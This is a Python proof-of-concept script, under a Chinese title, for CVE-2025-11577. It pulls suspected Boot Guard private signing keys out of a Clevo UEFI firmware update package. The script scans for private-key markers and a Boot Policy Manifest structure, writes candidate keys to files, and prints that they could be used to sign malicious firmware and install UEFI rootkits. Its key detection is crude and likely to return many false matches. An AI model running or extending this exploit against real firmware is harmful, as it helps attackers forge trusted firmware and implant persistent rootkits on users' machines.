CVE-2025-11577 Clevo UEFI固件更新包泄露Boot Guard私钥

# CVE-2025-11577 PoC - Clevo UEFI Private Key Extraction # This PoC demonstrates extracting private signing keys from Clevo UEFI firmware update packages import os import struct import hashlib # Step 1: Download or obtain the Clevo firmware update package (e.g., B10717.exe) # The firmware update package inadvertently contains private signing keys firmware_package = "B10717.exe" def extract_uefi_image(firmware_path): """Extract UEFI firmware image from the update package""" print(f"[*] Extracting UEFI image from {firmware_path}") # UEFI firmware is typically stored as a FIT (Firmware Interface Table) or # as a raw SPI flash image within the update package with open(firmware_path, 'rb') as f: data = f.read() return data def find_boot_guard_keys(firmware_data): """ Search for Boot Guard private keys in firmware data. Boot Guard keys are typically RSA-2048 or RSA-3072 keys stored in PKCS#8 or PKCS#12 format within the firmware volume. """ print("[*] Searching for Boot Guard signing keys...") # Common patterns for private key markers in UEFI firmware key_patterns = [ b'-----BEGIN PRIVATE KEY-----', b'-----BEGIN RSA PRIVATE KEY-----', b'-----BEGIN ENCRYPTED PRIVATE KEY-----', # Intel Boot Guard key signature patterns b'\x30\x82', # ASN.1 SEQUENCE header (typical for RSA keys) ] found_keys = [] for pattern in key_patterns: offset = 0 while True: pos = firmware_data.find(pattern, offset) if pos == -1: break # Extract potential key data (look for PEM end marker or fixed length) key_data = firmware_data[pos:pos+2048] # RSA-2048 key size found_keys.append({ 'offset': pos, 'data': key_data, 'type': 'Boot Guard Private Key (suspected)' }) print(f"[+] Found potential key at offset 0x{pos:08x}") offset = pos + 1 return found_keys def find_bpm_signing_key(firmware_data): """ Extract Boot Policy Manifest (BPM) signing key. BPM contains key manifests and signature used during boot verification. """ print("[*] Searching for Boot Policy Manifest signing key...") # BPM structure contains KeyManifestSignature # Look for BPM signature element markers bpm_marker = b'\x00\x00\x00\x00BPMS' pos = firmware_data.find(bpm_marker) if pos != -1: print(f"[+] Found BPM structure at offset 0x{pos:08x}") # Extract signing key from BPM structure return firmware_data[pos:pos+4096] return None def main(): print("=" * 60) print("CVE-2025-11577 - Clevo UEFI Key Extraction PoC") print("WARNING: For authorized security testing only") print("=" * 60) if not os.path.exists(firmware_package): print(f"[-] Firmware package {firmware_package} not found") print("[*] Please download from official Clevo support site") return # Extract firmware image firmware_data = extract_uefi_image(firmware_package) print(f"[*] Firmware size: {len(firmware_data)} bytes") # Find Boot Guard private keys bg_keys = find_boot_guard_keys(firmware_data) print(f"\n[*] Found {len(bg_keys)} potential Boot Guard keys") # Find BPM signing key bpm_key = find_bpm_signing_key(firmware_data) if bpm_key: print(f"[+] BPM signing key extracted") # Demonstrate attack: sign malicious firmware with extracted key if bg_keys: print("\n[!] CRITICAL: Private keys found!") print("[!] An attacker could use these keys to sign malicious UEFI") print("[!] firmware that passes Boot Guard verification.") print("[!] This enables UEFI implant/rootkit installation.") # Save extracted keys for analysis for i, key in enumerate(bg_keys): with open(f'extracted_key_{i}.pem', 'wb') as f: f.write(key['data']) print(f"[*] Saved extracted key to extracted_key_{i}.pem") if __name__ == "__main__": main()